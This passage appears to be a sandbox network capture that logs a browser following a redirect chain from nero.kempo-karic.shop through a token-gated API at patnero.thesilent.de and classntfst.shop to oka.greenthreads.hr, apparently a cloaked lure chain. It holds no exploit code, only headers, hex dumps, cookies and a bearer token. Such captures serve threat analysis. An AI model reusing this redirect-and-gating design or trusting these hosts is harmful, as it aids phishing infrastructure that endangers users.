53 6c 6d 68 62 59 6b 66 4f 58 6b 50 2b 76 6a 7a 45 31 66 44 79 4d 64 67 53 4c 6c 66 43 64 53 76 68 57 4a 52 79 64 74 38 Data Ascii: 5kWlRmqORtWRp+-qQq0fKlmafLGfhShVVmOq26fjPaZPvWfBjnD-Ptq4fpQW1HkkfLdVfsfVaVWqfEVqw-oldtkFeUljPgkGL940+13lwgRiGJq96jdhfRWWrhBmFHfc1HvMFfMl+BfmiWfhlmmlgplhfqPfKtXfqJFfuAOL1knqLdHWfmAFfm-DKfDmfqFEvCWU4Gam1mqMwGk6Rg8yMjfSlmhbYkfOXkP+vjzE1fDyMdgSLlfCdSvhWJRydt8
2025-04-15 18:06:23 UTC	371	OUT	Data Raw: 72 53 4f 4a 6d 76 49 4b 42 4c 41 75 46 6d 70 56 48 56 4c 46 68 73 6c 24 56 4b 65 62 78 77 71 57 4c 66 52 44 6c 47 65 6c 74 71 52 42 36 43 4c 66 66 4e 66 71 4d 71 30 62 44 6c 42 66 4c 66 71 73 6c 42 66 52 6e 6d 5a 6c 48 4d 31 48 6c 5a 48 44 4d 54 44 6c 36 57 64 4d 2d 39 6c 6b 53 2b 4c 75 46 71 46 6d 4a 58 31 49 70 4d 56 4f 6c 2d 74 52 2b 66 6c 50 6a 47 43 31 38 71 57 6a 55 47 44 43 49 6b 73 57 67 4a 4d 62 4b 31 47 49 4e 6b 46 24 4b 74 7a 48 48 35 66 33 6c 52 4c 6c 6f 54 6c 63 57 73 44 4b 31 35 61 61 71 57 64 4d 66 66 52 6a 58 4e 54 77 68 54 6c 4b 72 76 4c 75 63 44 64 4d 75 43 66 52 42 43 4a 75 73 67 62 70 55 4e 69 73 68 30 42 6e 4a 4c 64 6b 65 44 43 6c 6a 73 56 66 66 4e 4c 4e 71 62 56 34 66 76 56 66 66 66 65 6a 41 71 45 6c 51 68 75 57 71 6c 66 45 56 75 57 Data Ascii: rSOJmvIKBLAuFmpVHVLFhsl$VKebxwqWLfRDlGeltqRB6CLffNfqMq0bDlBfLfqslBfRnmZlHM1HlZHDMTDl6WdM-9lkS+LuFqFmJX1IpMVOl-tR+flPjGC18qWjUGDCIksWgJMbK1GINkF$KtzHH5f3lRLloTlcWsDK15aaqWdMffRjXNTwhTlKrvLucDdMuCfRBCJusgbpUNish0BnJLdkeDCljsVffNLNqbV4fvVfffejAqElQhuWqlfEVuW
2025-04-15 18:06:23 UTC	1152	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:23 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Server: cloudflare Cf-Ray: 930d606669f41364-MIA Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfjkLHv23CVZ3z7zLdW3uMxRiOaS3k%2BDReDbEfZcQp1ypKHgHQBoHPpifnNdEUECgeWSTJSycJ1eUpWKhNstK530Fwthd3k6kt16h%2B5ixK6D6ZfIEsx900mynZL5p0aj6VQ98%2Fupjpo%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: cf_clearance=nwGZGOHS_Acy_EAjuDfw6dFGCIGyEfDXtqugFThxNEE-1744740383-1.2.1.1-V5ZhSoV9rU8stLdAyeaPzf79tt4b2..DwBjy1pDJ9Ne6FDfMWMPcNlLMtpLcCJ7VoAolVWYdpGEX6T6XZG456do6SLorym.DWi0s_fwfc5uPzG12wLqAS6XKMHy2dbtsodLdq8yus686xNpRtAr6vbCEdiCE9Gxi0nU0jxR3og4qhY4KQP.48OOsqR4VPU8q.e8gboPGJfraltYYzkaCfOk7Ja5HfA87sAPauRE4g7hBW9W5vfRzUtTzwkGEthb82R8ha8cViNvPEqyIzqrk6KRU4P3z_n2xL9z5z6cXB7R0.ZDlxr0xfmm6y129yWq_wUy33BtXB2rXXP7OeRM_kR9w_G3tN.NLacdmls4VKbM; HttpOnly; SameSite=None; Partitioned; Secure; Path=/; Domain=kempo-karic.shop; Expires=Wed, 15 Apr 2026 18:06:23 GMT alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:23 UTC	223	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 31 32 32 36 26 6d 69 6e 5f 72 74 74 3d 31 32 31 32 32 32 26 72 74 74 5f 76 61 72 3d 32 35 35 37 38 26 73 65 6e 74 3d 31 32 26 72 65 63 76 3d 32 31 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 38 31 31 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 33 30 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 35 38 33 62 30 33 33 66 35 33 65 35 39 64 39 26 74 73 3d 32 36 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=121226&min_rtt=121222&rtt_var=25578&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=18112&delivery_rate=33305&cwnd=252&unsent_bytes=0&cid=4583b033f53e59d9&ts=267&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49708	35.190.80.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:23 UTC	562	OUT	OPTIONS /report/v4?s=93PnrhXdLQO35JYf0xg%2BWGo9GJ6lrYRGx%2BmPOzecpLMxtHevBKd7EW4thpK2ktn4Aa8o1liy9zP%2FWhqiJ%2FTz%2BUp1knRO1VSFIBxunMpEC4UIYTzjAMmqXYSQO%2B9yrH8UBnUr0bNBobE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nero.kempo-karic.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:23 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 15 Apr 2025 18:06:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49709	35.190.80.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:24 UTC	537	OUT	POST /report/v4?s=93PnrhXdLQO35JYf0xg%2BWGo9GJ6lrYRGx%2BmPOzecpLMxtHevBKd7EW4thpK2ktn4Aa8o1liy9zP%2FWhqiJ%2FTz%2BUp1knRO1VSFIBxunMpEC4UIYTzjAMmqXYSQO%2B9yrH8UBnUr0bNBobE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 497 Content-Type: application/reports+json Origin: https://nero.kempo-karic.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:24 UTC	497	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 36 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 72 6f 2e 6b 65 6d 70 6f 2d 6b 61 72 69 63 2e 73 68 6f 70 2f 3f 72 74 6b 63 69 64 3d 36 37 66 65 61 30 31 61 33 33 35 64 34 38 31 34 66 62 30 38 62 61 39 30 26 72 74 6b 63 6d 70 69 64 3d 36 37 66 36 38 33 35 63 34 37 39 65 62 32 39 63 39 66 63 38 37 32 31 62 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 Data Ascii: [{"age":0,"body":{"elapsed_time":1267,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b","sampling_fraction":1.0,"server_ip":"104.21.16.1
2025-04-15 18:06:24 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 15 Apr 2025 18:06:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49710	104.21.64.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:24 UTC	512	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37 HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:24 UTC	791	IN	HTTP/1.1 405 Method Not Allowed Date: Tue, 15 Apr 2025 18:06:24 GMT Content-Length: 0 Connection: close Cf-Ray: 930d606b7f0eed21-MIA Server: cloudflare Allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F19hcpuZzNU3kKuxi9tCv1Bft27sWiTrJTX3naYHbeCQgWh0PC8%2FkFZJ8a6%2FQg3%2Fu7JBVOMGFF9VKIHJHsSdNgcO%2FFW3YKDZInzb%2BMyf39MAXNTP7XuZyqPI2vqA7nE0YJiGF94QkPY%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121170&min_rtt=120893&rtt_var=25918&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1084&delivery_rate=33170&cwnd=252&unsent_bytes=0&cid=0645aa0071f70e90&ts=304&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49711	216.24.57.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:25 UTC	539	OUT	OPTIONS /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization Origin: https://nero.kempo-karic.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://nero.kempo-karic.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:26 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:25 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" rndr-id: e768f53d-69ee-4239 vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 930d60727e87b0ed-ATL alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:26 UTC	7	IN	Data Raw: 32 0d 0a 4f 4b 0d 0a Data Ascii: 2OK
2025-04-15 18:06:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49714	216.24.57.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:26 UTC	658	OUT	POST /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Content-Length: 0 sec-ch-ua-platform: "Windows" Authorization: Bearer a3c4d5e8f9a0b1c2d3e4f56789abcdef User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://nero.kempo-karic.shop Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nero.kempo-karic.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:26 UTC	546	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:26 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"95-8wDASBG4hDLkAh4TTau1KkSBjUw" rndr-id: 4fcc56a0-1bf8-4d57 vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 930d607758aa6785-ATL alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:26 UTC	155	IN	Data Raw: 39 35 0d 0a 7b 22 73 65 63 75 72 65 5f 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 34 37 34 30 33 39 36 35 39 33 26 68 61 73 68 3d 32 38 39 32 61 35 63 34 31 31 65 34 62 38 63 33 30 38 36 37 38 63 66 36 36 32 64 36 31 35 34 32 66 39 31 62 32 32 30 35 65 39 31 61 32 30 65 63 61 39 30 63 31 35 32 61 66 61 61 63 39 33 66 39 22 7d 0d 0a Data Ascii: 95{"secure_url":"http://patnero.thesilent.de/api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9"}
2025-04-15 18:06:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49715	216.24.57.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:27 UTC	760	OUT	GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:27 UTC	553	IN	HTTP/1.1 302 Found Date: Tue, 15 Apr 2025 18:06:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/ne/ rndr-id: 3a56f047-833f-4389 vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 930d607d0ee3b019-ATL alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:27 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 6e 65 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/ne/</p>
2025-04-15 18:06:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49716	216.24.57.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:27 UTC	399	OUT	GET /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:27 UTC	582	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Apr 2025 18:06:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * content-security-policy: default-src 'none' rndr-id: 45bbeafa-ab2e-4e58 vary: Accept-Encoding x-content-type-options: nosniff x-powered-by: Express x-render-origin-server: Render CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 930d607d5d41e58e-ATL alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:27 UTC	160	IN	Data Raw: 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 61 70 69 2f 67 65 74 5f 64 6f 63 5f 75 72 6c 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 9a<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /api/get_doc_url</pre></body></html>
2025-04-15 18:06:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49720	104.21.88.234	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:28 UTC	654	OUT	GET /ne/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:28 UTC	291	IN	HTTP/1.1 302 Found Date: Tue, 15 Apr 2025 18:06:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Location: https://oka.greenthreads.hr Cf-Cache-Status: DYNAMIC CF-RAY: 930d60840b9c3367-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49722	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:29 UTC	655	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49727	216.24.57.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:30 UTC	760	OUT	GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:30 UTC	553	IN	HTTP/1.1 302 Found Date: Tue, 15 Apr 2025 18:06:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/ne/ rndr-id: 2c0e435a-cd5f-46c3 vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 930d60904f6f1d6c-ATL alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:30 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 6e 65 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/ne/</p>
2025-04-15 18:06:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49729	104.21.88.234	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:30 UTC	654	OUT	GET /ne/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:31 UTC	291	IN	HTTP/1.1 302 Found Date: Tue, 15 Apr 2025 18:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Location: https://oka.greenthreads.hr Cf-Cache-Status: DYNAMIC CF-RAY: 930d6094ae613aaa-DFW alt-svc: h3=":443"; ma=86400
2025-04-15 18:06:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49731	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:31 UTC	655	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:32 UTC	525	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15661 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:32 GMT Etag: "0370394c43591198d03a0903d3cb4be6" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::m2bmk-1744740391771-323fba00b14c Connection: close
2025-04-15 18:06:32 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
